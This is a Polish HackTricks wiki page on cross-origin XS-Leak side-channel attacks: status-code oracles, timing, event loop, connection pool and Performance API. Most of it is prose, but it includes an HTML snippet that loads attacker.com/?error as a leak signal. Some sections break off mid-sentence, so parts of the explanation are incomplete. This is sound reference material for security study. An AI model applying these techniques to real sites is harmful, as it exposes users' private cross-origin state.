# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** za pomocą najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.

</details>

## Podstawowe informacje

XS-Search to metoda wykorzystywana do **wydobywania informacji międzydomenowych** poprzez wykorzystanie podatności kanałów bocznych.

Kluczowe składniki zaangażowane w ten atak to:

* **Podatna strona internetowa**: Docelowa strona internetowa, z której ma być wydobywana informacja.
* **Strona internetowa atakującego**: Złośliwa strona internetowa stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
* **Metoda włączenia**: Technika stosowana do włączenia Podatnej strony internetowej do Strony internetowej atakującego (np. window.open, iframe, fetch, znacznik HTML z href itp.).
* **Technika wycieku**: Techniki używane do rozróżniania różnic w stanie Podatnej strony internetowej na podstawie informacji zebranych za pomocą metody włączenia.
* **Stany**: Dwa potencjalne stany Podatnej strony internetowej, które atakujący ma na celu rozróżnienie.
* **Rozpoznawalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wnioskować o stanie Podatnej strony internetowej.

### Rozpoznawalne różnice

Kilka aspektów można zbadać, aby rozróżnić stany Podatnej strony internetowej:

* **Kod stanu**: Rozróżnianie między **różnymi kodami stanu odpowiedzi HTTP** międzydomenowymi, takimi jak błędy serwera, błędy klienta lub błędy uwierzytelniania.
* **Użycie interfejsu API**: Identyfikowanie **użycia interfejsów API sieci Web** na stronach, ujawniające, czy strona międzydomenowa korzysta z określonego interfejsu API JavaScript.
* **Przekierowania**: Wykrywanie nawigacji do innych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
* **Zawartość strony**: Obserwowanie **różnic w treści odpowiedzi HTTP** lub w podzasobach strony, takich jak **liczba osadzonych ramek** lub różnice w rozmiarze obrazów.
* **Nagłówek HTTP**: Zauważanie obecności lub możliwej wartości **konkretnego nagłówka odpowiedzi HTTP**, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
* **Czas**: Zauważanie spójnych różnic czasowych między dwoma stanami.

### Metody włączenia

* **Elementy HTML**: HTML oferuje różne elementy do **włączania zasobów międzydomenowych**, takie jak arkusze stylów, obrazy lub skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilację potencjalnych elementów HTML w tym celu można znaleźć pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
* **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą bezpośrednio osadzać zasoby HTML w stronie atakującego. Jeśli strona **nie ma ochrony przed osadzaniem**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
* **Wyskakujące okna**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, dostarczając uchwytu okna, z którym JavaScript może współdziałać za pomocą metod i właściwości zgodnie z SOP. Wyskakujące okna, często używane w jednokrotnym logowaniu, omijają ograniczenia osadzania i ciasteczek docelowego zasobu. Jednak nowoczesne przeglądarki ograniczają tworzenie wyskakujących okien do określonych działań użytkownika.
* **Żądania JavaScript**: JavaScript umożliwia bezpośrednie żądania zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Metody te oferują precyzyjną kontrolę nad żądaniem, na przykład możliwość śledzenia przekierowań HTTP.

### Techniki wycieku

* **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługa zdarzeń takich jak **onload** i **onerror** dostarcza informacji o sukcesie lub niepowodzeniu ładowania zasobu.
* **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku zarówno bezpośrednio z komunikatu o błędzie, jak i przez różnicowanie między jego obecnością a nieobecnością.
* **Globalne limity**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone limity przeglądarki, mogą sygnalizować osiągnięcie progu, służąc jako technika wycieku.
* **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami przeglądarek** (np. interfejsem Historii) mogą być wykorzystane. Na przykład **liczba wpisów** w historii przeglądarki może dawać wskazówki dotyczące stron międzydomenowych.
* **API wydajności**: To API dostarcza **szczegółowe informacje o wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioskowanie o żądanych zasobach.
* **Odczytywalne atrybuty**: Niektóre atrybuty HTML są **odczytywalne międzydomenowo** i mogą być wykorzystane jako technika wycieku. Na przykład właściwość `window.frame.length` pozwala JavaScriptowi zliczać osadzone ramki na stronie międzydomenowej.

## Narzędzie XSinator i artykuł

XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks** opisanych w artykule: **[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)**

Możesz **uzyskać dostęp do narzędzia pod adresem [https://xsinator.com/](https://xsinator
## **Techniki oparte na czasie**

Niektóre z poniższych technik wykorzystują czas jako część procesu wykrywania różnic w możliwych stanach stron internetowych. Istnieje wiele sposobów mierzenia czasu w przeglądarce internetowej.

**Zegary**: Interfejs API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) umożliwia programistom uzyskiwanie pomiarów czasu o wysokiej rozdzielczości.\
Atakujący może wykorzystać znaczną liczbę interfejsów API do tworzenia niejawnych zegarów: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animacje CSS i inne.\
Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## Techniki obsługi zdarzeń

### Onload/Onerror

* **Metody włączania**: Ramki, elementy HTML
* **Wykrywalna różnica**: Kod stanu
* **Więcej informacji**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Podsumowanie**: Jeśli podczas próby ładowania zasobu zostaną wywołane zdarzenia onerror/onload, można ustalić kod stanu.
* **Przykład kodu**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

Przykład kodu próbuje **ładować obiekty skryptów z JS**, ale można również używać **innych tagów**, takich jak obiekty, arkusze stylów, obrazy, dźwięki. Ponadto, możliwe jest również wstrzyknięcie **bezpośrednio tagu** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwania go z JS).

Istnieje również wersja ataku bez użycia skryptu:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
W tym przypadku, jeśli `example.com/404` nie zostanie znalezione, zostanie załadowane `attacker.com/?error`.

### Czas ładowania

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Czas (zazwyczaj spowodowany zawartością strony, kodem stanu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Podsumowanie**: [**API performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być używane do mierzenia czasu wykonania żądania. Jednak można również użyć innych zegarów, takich jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) inny przykład:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Czas ładowania + Wymuszone zadanie o dużej intensywności

Ta technika jest podobna do poprzedniej, ale **atakujący** będzie również **wymuszał** pewne działanie, aby zajęło to **znaczącą ilość czasu**, gdy **odpowiedź jest pozytywna lub negatywna**, a następnie zmierzy ten czas.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### Czas wyładowania/przed wyładowaniem

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Czas (zazwyczaj spowodowany zawartością strony, kodem stanu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Podsumowanie**: [Zegar SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do mierzenia czasu wykonania żądania. Można również użyć innych zegarów.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie się odbywa. Różnica czasu między tymi dwoma zdarzeniami może być obliczona, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**.

### Czas ładowania ramki z ograniczeniami + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Czas (zazwyczaj spowodowany zawartością strony, kodem stanu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Podsumowanie**: [API performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być używane do mierzenia czasu wykonania żądania. Można również użyć innych zegarów.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

Zauważono, że w przypadku braku [Ochrony ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej podzasobów przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ obsługa zdarzenia `onload` ramki jest wywoływana dopiero po zakończeniu ładowania zasobów i wykonania kodu JavaScript. Aby ominąć zmienność wprowadzaną przez wykonanie skryptu, atakujący może użyć atrybutu [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) wewnątrz znacznika `<iframe>`. Użycie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie kodu JavaScript, ułatwiając tym samym pomiar, który jest głównie zależny od wydajności sieciowej.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + błąd + onload

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**:
* **Podsumowanie**: Jeśli możesz spowodować błąd strony, gdy dostępna jest poprawna zawartość, i załadować ją poprawnie, gdy dostępna jest dowolna zawartość, możesz utworzyć pętlę, aby wydobyć wszystkie informacje bez mierzenia czasu.
* **Przykład kodu**:

Załóżmy, że możesz **wstawić** **stronę**, która zawiera **tajną** zawartość **wewnątrz Iframe**.

Możesz sprawić, że ofiara będzie **szukać** pliku zawierającego "_**flagę**_" za pomocą **Iframe** (wykorzystując na przykład CSRF). Wewnątrz Iframe wiesz, że zdarzenie _**onload**_ zostanie **zawsze wykonane co najmniej raz**. Następnie możesz **zmienić** **URL** Iframe, zmieniając tylko **zawartość** **hasła** wewnątrz URL.

Na przykład:

1. **URL1**: www.atakujący.com/xssearch#try1
2. **URL2**: www.atakujący.com/xssearch#try2

Jeśli pierwszy URL został **pomyślnie załadowany**, to po **zmianie** części **hasła** w URL zdarzenie **onload** **nie zostanie ponownie wywołane**. Ale **jeśli** strona miała jakiegoś rodzaju **błąd** podczas **ładowania**, to zdarzenie **onload** zostanie **ponownie wywołane**.

W ten sposób możesz **rozróżnić** między stroną **poprawnie** załadowaną a stroną, która ma **błąd** podczas dostępu.

### Wykonanie JavaScriptu

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**:
* **Podsumowanie**: Jeśli **strona** zwraca **wrażliwą** zawartość **lub** zawartość, którą użytkownik może **kontrolować**. Użytkownik może ustawić **poprawny kod JS w przypadku negatywnym**, a następnie załadować każdą próbę wewnątrz znaczników **`<script>`**, więc w przypadkach **negatywnych** kod **atakującego** jest **wykonywany**, a w przypadkach **pozytywnych** **nic** nie zostanie wykonane.
* **Przykład kodu**:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Kod stanu i nagłówki
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Podsumowanie**: **Cross-Origin Read Blocking (CORB)** to środek bezpieczeństwa, który zapobiega ładowaniu pewnych wrażliwych zasobów międzydomenowych w celu ochrony przed atakami takimi jak **Spectre**. Jednak atakujący mogą wykorzystać jego zachowanie ochronne. Gdy odpowiedź podlegająca **CORB** zwraca _**zabezpieczony**_ `Content-Type` z `nosniff` i kodem stanu `2xx`, **CORB** usuwa treść i nagłówki odpowiedzi. Atakujący obserwujący to mogą wnioskować o połączeniu **kodu stanu** (wskazującego na sukces lub błąd) i `Content-Type` (oznaczającego, czy jest chroniony przez **CORB**), co prowadzi do potencjalnego wycieku informacji.
* **Przykład kodu**:

Sprawdź link do więcej informacji na temat ataku.

### onblur

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Podsumowanie**: Wyciek wrażliwych danych z atrybutu id lub name.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

Możliwe jest **załadowanie strony** wewnątrz Iframe i użycie **`#wartość_id`**, aby strona **skupiła się na elemencie** Iframe z wskazanym id, a następnie, jeśli zostanie wywołany sygnał **`onblur`**, element ID istnieje.\
Możesz przeprowadzić ten sam atak za pomocą znaczników **`portal`**.

### Komunikaty postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Metody włączenia**: Ramki, Wyskakujące okna
* **Wykrywalna różnica**: Użycie interfejsu API
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Podsumowanie**: Zbieranie wrażliwych informacji za pomocą postMessage lub wykorzystanie obecności postMessage jako orakulum do poznania stanu użytkownika na stronie.
* **Przykład kodu**: `Kod nasłuchujący wszystkich komunikatów postMessage.`

Aplikacje często korzystają z komunikatów [`postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi domenami. Jednak ta metoda może niechcący ujawnić **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest poprawnie określony, co pozwala na odbieranie wiadomości przez dowolne okno. Ponadto, sam fakt otrzymania wiadomości może działać jako **orakulum**; na przykład pewne wiadomości mogą być wysyłane tylko do użytkowników zalogowanych. Dlatego obecność lub brak tych wiadomości może ujawnić informacje na temat stanu lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni czy nie.

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>





Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}



## Techniki globalnych limitów

### Interfejs API WebSocket

* **Metody włączenia**: Ramki, Wyskakujące okna
* **Wykrywalna różnica**: Użycie interfejsu API
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Podsumowanie**: Wyciek liczby połączeń WebSocket strony międzydomenowej poprzez wyczerpanie limitu połączeń WebSocket.
* **Przykład kodu**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

Możliwe jest zidentyfikowanie, czy i ile **połączeń WebSocket używa strona docelowa**. Pozwala to atakującemu wykryć stany aplikacji i wyciekać informacje związane z liczbą połączeń WebSocket.

Jeśli jedno **pochodzenie** używa **maksymalnej liczby obiektów połączenia WebSocket**, niezależnie od ich stanu połączenia, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w wyskakującym oknie lub Iframe, a następnie, po załadowaniu strony doc
### Payment API

* **Metody włączenia**: Ramki, wyskakujące okienka
* **Wykrywalna różnica**: Użycie interfejsu API
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Podsumowanie**: Wykrywanie żądania płatności, ponieważ tylko jedno może być aktywne w danym czasie.
* **Przykład kodu**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

Ten XS-Leak umożliwia atakującemu **wykrycie, kiedy strona z innego źródła inicjuje żądanie płatności**.

Ponieważ **tylko jedno żądanie płatności może być aktywne** w tym samym czasie, jeśli docelowa witryna korzysta z interfejsu Payment Request API, wszelkie **dalsze próby użycia tego API zakończą się niepowodzeniem** i spowodują **wyjątek JavaScript**. Atakujący może wykorzystać to, **okresowo próbując pokazać interfejs API płatności**. Jeśli jedna próba powoduje wyjątek, oznacza to, że docelowa witryna aktualnie go używa. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.

### Pomiar pętli zdarzeń <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **Metody włączenia**:
* **Wykrywalna różnica**: Czas (zwykle związany z zawartością strony, kodem stanu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Podsumowanie**: Pomiar czasu wykonania kodu na stronie, wykorzystując jednowątkową pętlę zdarzeń JS.
* **Przykład kodu**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

JavaScript działa na zasadzie jednowątkowej pętli zdarzeń [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie na raz**. Ta cecha może być wykorzystana do **pomiaru czasu wykonania kodu z innego źródła**. Atakujący może mierzyć czas wykonania własnego kodu w pętli zdarzeń, ciągle wysyłając zdarzenia o stałych właściwościach. Te zdarzenia zostaną przetworzone, gdy pulapka zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej pulapki, **atakujący może wnioskować o czasie potrzebnym na wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonywaniu własnych zadań**. Ta metoda monitorowania pętli zdarzeń w celu wykrywania opóźnień może ujawnić czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.

{% hint style="warning" %}
Podczas pomiaru czasu wykonania można **wyeliminować** **czynniki sieciowe**, aby uzyskać **bardziej precyzyjne pomiary**. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem.
{% endhint %}

### Zajęta pętla zdarzeń <a href="#busy-event-loop" id="busy-event-loop"></a>

* **Metody włączenia**:
* **Wykrywalna różnica**: Czas (zwykle związany z zawartością strony, kodem stanu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Podsumowanie**: Jedna z metod pomiaru czasu wykonania operacji na stronie polega na celowym zablokowaniu pętli zdarzeń wątku, a następnie pomiarze **czasu, jaki zajmuje pętli zdarzeń, aby ponownie stać się dostępną**. Poprzez wstawienie operacji blokującej (takiej jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorowanie czasu, jaki upływa przed rozpoczęciem wykonania kolejnego kodu, można wnioskować o czasie trwania zadań wykonywanych w pętli zdarzeń podczas okresu blokowania. Ta technika wykorzystuje jednowątkową naturę pętli zdarzeń JavaScript, w której zadania są wykonywane sekwencyjnie, i może dostarczać informacji na temat wydajności lub zachowania innych operacji, które korzystają z tego samego wątku.
* **Przykład kodu**:

Znaczącą zaletą techniki pomiaru czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji witryny**. **Izolacja witryny** to funkcja zabezpieczająca, która oddziela różne witryny od siebie, aby zapobiec bezpośredniemu dostępowi złośliwych witryn do wrażliwych danych innych witryn. Jednak poprzez wpływanie na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wyciągnąć informacje na temat działań tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, ale obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, unikając tym samym barier ochronnych ustanowionych przez **Izolację witryny**.

{% hint style="warning" %}
Podczas pomiaru czasu wykonania można **wyeliminować** **czynniki sieciowe**, aby uzyskać **bardziej precyzyjne pomiary**. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem.
{% endhint %}

### Pula połączeń

* **Metody włączenia**: Żądania JavaScript
* **Wykrywalna różnica**: Czas (zwykle związany z zawartością strony, kodem stanu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Podsumowanie**: Atakujący może zablokować wszystkie gniazda oprócz jednego, załadować docelową witrynę i jednocześnie załadować inną stronę, czas do rozpoczęcia ładowania ostatniej strony to czas, jaki zajęło załadowanie strony docelowej.
* **Przykład kodu**:

{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}

Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale ze względu na ograniczone zasoby systemu operacyjnego i sprzętu, **przeglądarki są zmuszone narzucić limit** na liczbę równoczesnych gniazd. Atakujący może wykorzystać to ograniczenie, wykonując następujące kroki:

1. Określ limit gniazd przeglądarki, na przykład 256 globalnych gniazd.
2. Zajmij 255 gniazd na dłuższy czas, inicjując 255 żądań do różnych hostów, które mają na celu utrzymanie otwartych połączeń bez ich zakończenia.
3. Wykorzystaj 256. gniazdo do wysłania żądania do strony docelowej.
4. Spróbuj wysłać 257. żądanie do innego hosta. Ponieważ wszystkie gniazda są w użyciu (zgodnie z krokami 2 i 3), to żądanie zostanie umieszczone w kolejce, aż gniazdo stanie się dostępne. Opóźnienie przed kontynuacją tego żądania dostarcza atakującemu informacje o czasie aktywności sieciowej związanym z 256. gniazdem (gniazdem strony docelowej). Wnioskowanie to jest możliwe,
## Techniki API wydajności

[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferuje wgląd w metryki wydajności aplikacji internetowych, wzbogacone przez [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. Warto zauważyć, że gdy serwery zawierają nagłówek `Timing-Allow-Origin: *` w odpowiedziach, dostępne stają się dodatkowe dane, takie jak rozmiar transferu i czas wyszukiwania domeny.

Te bogate dane można uzyskać za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), zapewniając wszechstronny widok informacji związanych z wydajnością. Dodatkowo, API ułatwia pomiar czasów wykonania poprzez obliczanie różnicy między znacznikami czasowymi uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach, takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpływać na dokładność pomiarów czasowych.

Poza pomiarami czasowymi, API Performance można wykorzystać do uzyskiwania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. Konkretnie, jeśli strona jest blokowana przed renderowaniem w ramce ze względu na `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co dostarcza subtelnych wskazówek dotyczących polityk ramkowania strony.

### Wyciek błędów

* **Metody włączenia**: Ramki, elementy HTML
* **Wykrywalna różnica**: Kod stanu
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Żądanie, które kończy się błędem, nie tworzy wpisu dotyczącego czasu zasobu.
* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

Możliwe jest **rozróżnienie między kodami stanu odpowiedzi HTTP**, ponieważ żądania, które prowadzą do **błędu**, nie tworzą wpisu dotyczącego wydajności.

### Błąd ponownego ładowania stylu

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Kod stanu
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Ze względu na błąd przeglądarki, żądania, które kończą się błędem, są ładowane dwukrotnie.
* **Przykład kodu**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC powodują **ładowanie zasobów dwukrotnie, gdy nie są w stanie się załadować**. Powoduje to wielokrotne wpisy w API Performance i może być wykryte.

### Błąd scalania żądań

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Kod stanu
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Żądania, które kończą się błędem, nie mogą być scalane.
* **Przykład kodu**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

Technika została znaleziona w tabeli w wymienionym dokumencie, ale nie znaleziono na niej opisu techniki. Jednak kod źródłowy sprawdzający to można znaleźć pod adresem [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

### Wyciek pustej strony

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Puste odpowiedzi nie tworzą wpisów dotyczących czasu zasobu.
